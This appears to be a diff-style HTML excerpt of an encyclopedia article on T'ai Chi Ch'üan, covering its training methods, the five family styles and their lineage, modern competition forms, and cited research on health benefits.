+<p>The core training involves two primary features: the first being the solo form or <i>ch'üan</i>, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of <i>pushing hands</i> or <i>t'ui shou</i> (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.</p>
+<p>The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and <a href="/wiki/Weapon" title="Weapon">weapon</a>, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.</p>
+<p>In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'üan training. <a href="/wiki/Lao_Tzu" title="Lao Tzu">Lao Tzu</a> provided the <a href="/wiki/Archetype" title="Archetype">archetype</a> for this in the <a href="/wiki/Tao_Te_Ching" title="Tao Te Ching">Tao Te Ching</a> when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.</p>
+
+<p>Other training exercises include:</p>
+<ul>
+<li>Weapons training and <a href="/wiki/Fencing" title="Fencing">fencing</a> applications employing the straight <i><a href="/wiki/Sword" title="Sword">sword</a></i> known as the <i>jian</i> or <i>chien</i> or <i>gim</i> (<a href="/wiki/Jian" title="Jian">jiàn</a> ?), a heavier curved <i>sabre</i>, sometimes called a <i>broadsword</i> or <i>tao</i> (<a href="/wiki/Dao_%28saber%29" title="Dao (saber)">dao</a> ?, which is actually considered a big <i><a href="/wiki/Knife" title="Knife">knife</a></i>), folding <i><a href="/wiki/Tessen" title="Tessen">fan</a></i>, <i>staff</i> (?), 7 foot (2 m) <i><a href="/wiki/Qiang_%28spear%29" title="Qiang (spear)">spear</a></i> and 13 foot (4 m) <i><a href="/wiki/Lance" title="Lance">lance</a></i> (both called qiang ?). More exotic weapons still used by some traditional styles are the large <i>Da Dao</i> or <i>Ta Tao</i> (??) sabre, <i><a href="/wiki/Ji_%28halberd%29" title="Ji (halberd)">halberd</a></i> (ji ?), <i>cane</i>, <i>rope-dart</i>, <i><a href="/wiki/Three_sectional_staff" title="Three sectional staff">three sectional staff</a></i>, <i><a href="/wiki/Lasso" title="Lasso">lasso</a></i>, <i><a href="/wiki/Whip" title="Whip">whip</a></i>, <i><a href="/wiki/Chain_whip" title="Chain whip">chain whip</a></i> and <i>steel whip</i>.</li>
+
+<li>Two-person tournament sparring (as part of push hands competitions and/or <i><a href="/wiki/San_shou" title="San shou">san shou</a></i> ??);</li>
+<li>Breathing exercises; <i><a href="/wiki/Nei_kung" title="Nei kung">nei kung</a></i> (?? nèigong) or, more commonly, <i><a href="/wiki/Ch%27i_kung" title="Ch'i kung">ch'i kung</a></i> (?? qìgong) to develop <b><a href="/wiki/Ch%27i" title="Ch'i">ch'i</a></b> (? qì) or "breath energy" in coordination with physical movement and <a href="/wiki/Zhan_zhuang" title="Zhan zhuang">post standing</a> or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.</li>
+
+</ul>
+<p>T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first <i>yin</i> (slow, repetitive, meditative, low impact) and then later adding <i>yang</i> ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'üan trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (<a href="/wiki/Chin_na" title="Chin na">chin na</a>), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the <a href="/wiki/Shaolin" title="Shaolin">Shaolin</a> temple:</p>
+<dl>
+<dd>"I would rather maim than kill</dd>
+
+<dd>Hurt than maim</dd>
+<dd>Intimidate than hurt</dd>
+<dd>Avoid than intimidate."</dd>
+</dl>
+<div class="thumb tright">
+<div style="width:352px;"><a href="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" class="internal" title="An outdoor Chen style class in Beijing"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Martial_arts_-_Fragrant_Hills.JPG/350px-Martial_arts_-_Fragrant_Hills.JPG" alt="An outdoor Chen style class in Beijing" width="350" height="233" longdesc="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" /></a>
+<div class="thumbcaption">
+<div class="magnify" style="float:right"><a href="/wiki/Image:Martial_arts_-_Fragrant_Hills.JPG" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
+An outdoor Chen style class in Beijing</div>
+</div>
+</div>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=3" title="Edit section: Styles and history">edit</a>]</div>
+
+<p><a name="Styles_and_history" id="Styles_and_history"></a></p>
+<h2>Styles and history</h2>
+<p>There are five major styles of T'ai Chi Ch'üan, each named after the Chinese family that teaches (or taught) it:</p>
+<ul>
+<li><b><a href="/wiki/Chen_style_Tai_Chi_Chuan" title="Chen style Tai Chi Chuan">Chen style</a></b> (??) and its close cousin <b><a href="/w/index.php?title=Zhaobao_style_T%27ai_Chi_Ch%27uan&amp;action=edit" class="new" title="Zhaobao style T'ai Chi Ch'uan">Zhao Bao Style</a></b> (?????)</li>
+<li><b><a href="/wiki/Yang_style_T%27ai_Chi_Ch%27uan" title="Yang style T'ai Chi Ch'uan">Yang style</a></b> (??)</li>
+
+<li><b><a href="/wiki/Wu/Hao_style_T%27ai_Chi_Ch%27uan" title="Wu/Hao style T'ai Chi Ch'uan">Wu or Wu/Hao style of Wu Yu-hsiang</a></b> (??)</li>
+<li><b><a href="/wiki/Wu_style_T%27ai_Chi_Ch%27uan" title="Wu style T'ai Chi Ch'uan">Wu style of Wu Ch'uan-yü and Wu Chien-ch'uan</a></b> (??)</li>
+<li><b><a href="/wiki/Sun_style_T%27ai_Chi_Ch%27uan" title="Sun style T'ai Chi Ch'uan">Sun style</a></b> (??)</li>
+</ul>
+<p>The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.</p>
+<p>In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are <i>several</i> groups teaching what they call <a href="/wiki/Wudang_Tai_Chi_Chuan" title="Wudang Tai Chi Chuan">Wu Tang style T'ai Chi Ch'üan (??????)</a>. The best known modern style going by the name <i>Wu Tang</i> has gained some publicity internationally, especially in the <a href="/wiki/United_Kingdom" title="United Kingdom">UK</a> and <a href="/wiki/Europe" title="Europe">Europe</a>, but was originally taught by a senior student of the Wu (?) style.</p>
+
+<p>The designation <i><a href="/wiki/Wudangquan" title="Wudangquan">Wu Tang Ch'üan</a></i> is also used to broadly distinguish <i>internal</i> or <i>nei chia</i> martial arts (said to be a specialty of the <a href="/wiki/Monasteries" title="Monasteries">monasteries</a> at <a href="/wiki/Wudangshan" title="Wudangshan">Wu Tang Shan</a>) from what are known as the <i>external</i> or <i>wei chia</i> styles based on <i><a href="/w/index.php?title=Shaolinquan_kung_fu&amp;action=edit" class="new" title="Shaolinquan kung fu">Shaolinquan kung fu</a></i>, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools <i>all</i> styles of T'ai Chi (as well as related arts such as <a href="/wiki/Bagua_zhang" title="Bagua zhang">Pa Kua Chang</a> and <a href="/wiki/Hsing_Yi" title="Hsing Yi">Hsing-i Ch'üan</a>) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called <a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a> and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).</p>
+
+<p>When tracing T'ai Chi Ch'üan's formative influences to <a href="/wiki/Taoist" title="Taoist">Taoist</a> and <a href="/wiki/Buddhist" title="Buddhist">Buddhist</a> monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'üan's practical connection to and dependence upon the theories of <a href="/wiki/Song_dynasty" title="Song dynasty">Sung dynasty</a> <a href="/wiki/Neo-Confucianism" title="Neo-Confucianism">Neo-Confucianism</a> (a conscious synthesis of Taoist, Buddhist and <a href="/wiki/Confucian" title="Confucian">Confucian</a> traditions, esp. the teachings of <a href="/wiki/Mencius" title="Mencius">Mencius</a>) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'üan in it is not. T'ai Chi Ch'üan's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk <a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a> in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied <a href="/wiki/Tao_Yin" title="Tao Yin">Tao Yin</a> (??, <a href="/wiki/Pinyin" title="Pinyin">Pinyin</a> daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'üan and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal <a href="/wiki/Kung_fu" title="Kung fu">kung fu</a> preserved and refined at various Taoist temples.</p>
+
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=4" title="Edit section: Family tree">edit</a>]</div>
+<p><a name="Family_tree" id="Family_tree"></a></p>
+<h3>Family tree</h3>
+<p>This family tree is not comprehensive.</p>
+<pre>
+<b>LEGENDARY FIGURES</b>
+ |
+<a href="/wiki/Zhang_Sanfeng" title="Zhang Sanfeng">Zhang Sanfeng</a>*
+circa 12th century
+<a href="/wiki/Nei_chia" title="Nei chia">NEI CHIA</a>
+
+ |
+<a href="/w/index.php?title=Wang_Zongyue&amp;action=edit" class="new" title="Wang Zongyue">Wang Zongyue</a>*
+T'AI CHI CH'ÜAN
+ |
+<b>THE 5 MAJOR CLASSICAL FAMILY STYLES</b>
+ |
+Chen Wangting
+1600-1680 9th generation Chen
+<a href="/wiki/Chen_style_Tai_Chi_Chuan" title="Chen style Tai Chi Chuan">CHEN STYLE</a>
+ |
+ +-------------------------------------------------------------------+
+ | |
+<a href="/w/index.php?title=Chen_Changxing&amp;action=edit" class="new" title="Chen Changxing">Chen Changxing</a> <a href="/w/index.php?title=Chen_Youben&amp;action=edit" class="new" title="Chen Youben">Chen Youben</a>
+1771-1853 14th generation Chen circa 1800s 14th generation Chen
+Chen Old Frame Chen New Frame
+ | |
+
+<a href="/wiki/Yang_Lu-ch%27an" title="Yang Lu-ch'an">Yang Lu-ch'an</a> <a href="/w/index.php?title=Chen_Qingping&amp;action=edit" class="new" title="Chen Qingping">Chen Qingping</a>
+1799-1872 1795-1868
+<a href="/wiki/Yang_style_Tai_Chi_Chuan" title="Yang style Tai Chi Chuan">YANG STYLE</a> Chen Small Frame, Zhao Bao Frame
+ | |
+ +---------------------------------+-----------------------------+ |
+ | | | |
+<a href="/wiki/Yang_Pan-hou" title="Yang Pan-hou">Yang Pan-hou</a> <a href="/wiki/Yang_Chien-hou" title="Yang Chien-hou">Yang Chien-hou</a> <a href="/w/index.php?title=Wu_Yu-hsiang&amp;action=edit" class="new" title="Wu Yu-hsiang">Wu Yu-hsiang</a>
+1837-1892 1839-1917 1812-1880
+Yang Small Frame | <a href="/wiki/Wu/Hao_style_T%27ai_Chi_Ch%27uan" title="Wu/Hao style T'ai Chi Ch'uan">WU/HAO STYLE</a>
+
+ | +-----------------+ |
+ | | | |
+<a href="/wiki/Wu_Ch%27uan-y%C3%BC" title="Wu Ch'uan-yü">Wu Ch'uan-yü</a> <a href="/wiki/Yang_Shao-hou" title="Yang Shao-hou">Yang Shao-hou</a> <a href="/wiki/Yang_Ch%27eng-fu" title="Yang Ch'eng-fu">Yang Ch'eng-fu</a> <a href="/w/index.php?title=Li_I-y%C3%BC&amp;action=edit" class="new" title="Li I-yü">Li I-yü</a>
+1834-1902 1862-1930 1883-1936 1832-1892
+ | Yang Small Frame <a href="/wiki/103_form_Yang_family_T%27ai_Chi_Ch%27uan" title="103 form Yang family T'ai Chi Ch'uan">Yang Big Frame</a> |
+<a href="/wiki/Wu_Chien-ch%27%C3%BCan" title="Wu Chien-ch'üan">Wu Chien-ch'üan</a> | <a href="/wiki/Hao_Wei-chen" title="Hao Wei-chen">Hao Wei-chen</a>
+
+1870-1942 <a href="/wiki/Yang_Shou-chung" title="Yang Shou-chung">Yang Shou-chung</a> 1849-1920
+<a href="/wiki/Wu_style_T%27ai_Chi_Ch%27uan" title="Wu style T'ai Chi Ch'uan">WU STYLE</a> 1910-1985 |
+<a href="/wiki/108_form_Wu_family_T%27ai_Chi_Ch%27uan" title="108 form Wu family T'ai Chi Ch'uan">108 Form</a> |
+ | <a href="/wiki/Sun_Lu-t%27ang" title="Sun Lu-t'ang">Sun Lu-t'ang</a>
+<a href="/wiki/Wu_Kung-i" title="Wu Kung-i">Wu Kung-i</a> 1861-1932
+1900-1970 <a href="/wiki/Sun_style_T%27ai_Chi_Ch%27uan" title="Sun style T'ai Chi Ch'uan">SUN STYLE</a>
+
+ | |
+<a href="/w/index.php?title=Wu_Ta-kuei&amp;action=edit" class="new" title="Wu Ta-kuei">Wu Ta-kuei</a> <a href="/w/index.php?title=Sun_Hsing-i&amp;action=edit" class="new" title="Sun Hsing-i">Sun Hsing-i</a>
+1923-1970 1891-1929
+
+<b>MODERN FORMS</b>
+
+from Yang Ch`eng-fu
+ |
+ |
+ |
+ +--------------+
+ | |
+ <a href="/wiki/Cheng_Man-ch%27ing" title="Cheng Man-ch'ing">Cheng Man-ch'ing</a> |
+ 1901-1975 |
+ Short (37) Form |
+ |
+ Chinese Sports Commission
+ 1956
+ Beijing <a href="/wiki/24_Form" title="24 Form">24 Form</a>
+ .
+ .
+ 1989
+ <a href="/wiki/42_Form_%28Competition_Form%29_T%27ai_Chi_Ch%27uan" title="42 Form (Competition Form) T'ai Chi Ch'uan">42 Competition Form</a>
+
+ (<a href="/wiki/Wushu" title="Wushu">Wushu</a> competition form combined from Sun, Wu, Chen, and Yang styles)
+</pre>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=5" title="Edit section: Notes to Family tree table">edit</a>]</div>
+<p><a name="Notes_to_Family_tree_table" id="Notes_to_Family_tree_table"></a></p>
+<h3>Notes to Family tree table</h3>
+<p>Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.</p>
+<p>The Cheng Man-ch'ing and <a href="/w/index.php?title=Chinese_Sports_Commission&amp;action=edit" class="new" title="Chinese Sports Commission">Chinese Sports Commission</a> short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'üan by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.</p>
+
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=6" title="Edit section: Modern T'ai Chi">edit</a>]</div>
+<p><a name="Modern_T.27ai_Chi" id="Modern_T.27ai_Chi"></a></p>
+<h2>Modern T'ai Chi</h2>
+<div class="thumb tright">
+<div style="width:352px;"><a href="/wiki/Image:Taichi_shanghai_bund_2005.jpg" class="internal" title="Yang style in Shanghai"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Taichi_shanghai_bund_2005.jpg/350px-Taichi_shanghai_bund_2005.jpg" alt="Yang style in Shanghai" width="350" height="263" longdesc="/wiki/Image:Taichi_shanghai_bund_2005.jpg" /></a>
+<div class="thumbcaption">
+<div class="magnify" style="float:right"><a href="/wiki/Image:Taichi_shanghai_bund_2005.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
+Yang style in Shanghai</div>
+</div>
+</div>
+<p>T'ai Chi has become very popular in the last twenty years or so, as the <a href="/wiki/Baby_boomers" title="Baby boomers">baby boomers</a> age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its <a href="/wiki/Aesthetic" title="Aesthetic">aesthetic</a> appeal (as in the shortened, modern, theatrical "Taijiquan" forms of <a href="/wiki/Wushu" title="Wushu">wushu</a>, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the <i>yin</i> and <i>yang</i> of T'ai Chi Ch'üan. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.</p>
+
+<p>Along with <a href="/wiki/Yoga" title="Yoga">Yoga</a>, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the <a href="/wiki/New_Age" title="New Age">New Age</a> community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'üan with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health <i>and</i> self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.</p>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=7" title="Edit section: Modern forms">edit</a>]</div>
+<p><a name="Modern_forms" id="Modern_forms"></a></p>
+<h3>Modern forms</h3>
+
+<div class="thumb tright">
+<div style="width:352px;"><a href="/wiki/Image:Tai_Chi_fans.jpg" class="internal" title="Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA)."><img src="http://upload.wikimedia.org/wikipedia/en/thumb/a/ad/Tai_Chi_fans.jpg/350px-Tai_Chi_fans.jpg" alt="Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA)." width="350" height="201" longdesc="/wiki/Image:Tai_Chi_fans.jpg" /></a>
+<div class="thumbcaption">
+<div class="magnify" style="float:right"><a href="/wiki/Image:Tai_Chi_fans.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
+Women practicing non-martial T'ai Chi in <a href="/wiki/Chinatown_%28Manhattan%29" title="Chinatown (Manhattan)">Chinatown</a> (<a href="/wiki/New_York_City" title="New York City">New York City</a>, <a href="/wiki/New_York" title="New York">New York</a>, <a href="/wiki/USA" title="USA">USA</a>).</div>
+</div>
+</div>
+
+<p>In order to standardize T'ai Chi Ch'üan for wushu tournament judging, and because many of the family T'ai Chi Ch'üan teachers had either moved out of China or had been forced to stop teaching after the <a href="/wiki/Chinese_Civil_War" title="Chinese Civil War">Communist regime was established</a> in <a href="/wiki/1949" title="1949">1949</a>, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to <a href="/wiki/24_Form_%28Simplified_Form%29_T%27ai_Chi_Ch%27uan" title="24 Form (Simplified Form) T'ai Chi Ch'uan">24 postures</a> in <a href="/wiki/1956" title="1956">1956</a>. They wanted to somehow retain the look of T'ai Chi Ch'üan but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In <a href="/wiki/1976" title="1976">1976</a>, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the <i>Combined 48 Forms</i> that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.</p>
+
+<p>As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late <a href="/wiki/1980s" title="1980s">1980s</a>, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the <i>56 Forms</i>, and so on. The combined forms are <i>The 42 Form</i> or simply the <i>Competition Form</i>, as it is known in China. In the 11th <a href="/wiki/Asian_Games" title="Asian Games">Asian Games</a> of <a href="/wiki/1990" title="1990">1990</a>, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (<a href="/w/index.php?title=IWUF&amp;action=edit" class="new" title="IWUF">IWUF</a>) has applied for wushu to be part of the <a href="/wiki/Olympic_games" title="Olympic games">Olympic games</a>. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in <a href="/wiki/2008" title="2008">2008</a>.</p>
+
+<p>Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'üan has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'üan and thereby lack the <a href="/wiki/Quality_control" title="Quality control">quality control</a> traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.</p>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=8" title="Edit section: Health benefits">edit</a>]</div>
+<p><a name="Health_benefits" id="Health_benefits"></a></p>
+<h2>Health benefits</h2>
+<p>Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.</p>
+<p>T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (<a href="/wiki/ADHD" title="ADHD">ADHD</a>) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)</p>
+
+<p>A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of <a href="/wiki/Diabetes" title="Diabetes">diabetes</a>.<a href="http://www.abc.net.au/pm/content/2005/s1535304.htm" class="external autonumber" title="http://www.abc.net.au/pm/content/2005/s1535304.htm">[1]</a></p>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=9" title="Edit section: Citations to medical research">edit</a>]</div>
+<p><a name="Citations_to_medical_research" id="Citations_to_medical_research"></a></p>
+<h3>Citations to medical research</h3>
+<ul>
+<li>Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14687346" class="external" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14687346">PMID 14687346</a></li>
+<li>Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a <a href="/wiki/Systematic_review" title="Systematic review">systematic review</a>. Arch Intern Med. 2004 Mar 8;164(5):493-501. <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15006825" class="external" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15006825">PMID 15006825</a></li>
+
+<li>Search a listing of articles relating to the FICSIT trials and T'ai Chi <a href="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Select+from+History&amp;db=pubmed&amp;query_key=3" class="external autonumber" title="http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Select+from+History&amp;db=pubmed&amp;query_key=3">[2]</a></li>
+<li>Hernandez-Reif, M., Field, T.M., &amp; Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork &amp; Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123</li>
+<li>Calorie Burning Chart <a href="http://www.nutristrategy.com/activitylist3.htm" class="external autonumber" title="http://www.nutristrategy.com/activitylist3.htm">[3]</a></li>
+<li>Tai Chi boosts T-Cell counts in immune system <a href="http://www.acupuncturetoday.com/archives2003/nov/11taichi.html" class="external autonumber" title="http://www.acupuncturetoday.com/archives2003/nov/11taichi.html">[4]</a></li>
+<li>Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206</li>
+
+<li>A comprehensive listing of Tai Chi medical research links <a href="http://www.worldtaichiday.org/WTCQDHlthBenft.html" class="external autonumber" title="http://www.worldtaichiday.org/WTCQDHlthBenft.html">[5]</a></li>
+<li>References to medical publications <a href="http://www.worldtaichiday.org/HeadlineNews.html" class="external autonumber" title="http://www.worldtaichiday.org/HeadlineNews.html">[6]</a></li>
+<li><a href="http://www.abc.net.au/pm/content/2005/s1535304.htm" class="external text" title="http://www.abc.net.au/pm/content/2005/s1535304.htm">Tai Chi a promising remedy for diabetes</a>, <i>Australian Broadcasting Corporation</i>, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.</li>
+<li>Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health &amp; Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.<a href="http://www.worldtaichiday.org/LIBRARYArticles/LIBRARYTaiChiArticlesMenu.html" class="external autonumber" title="http://www.worldtaichiday.org/LIBRARYArticles/LIBRARYTaiChiArticlesMenu.html">[7]</a></li>
+</ul>
+
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=10" title="Edit section: See also">edit</a>]</div>
+<p><a name="See_also" id="See_also"></a></p>
+<h2>See also</h2>
+<ul>
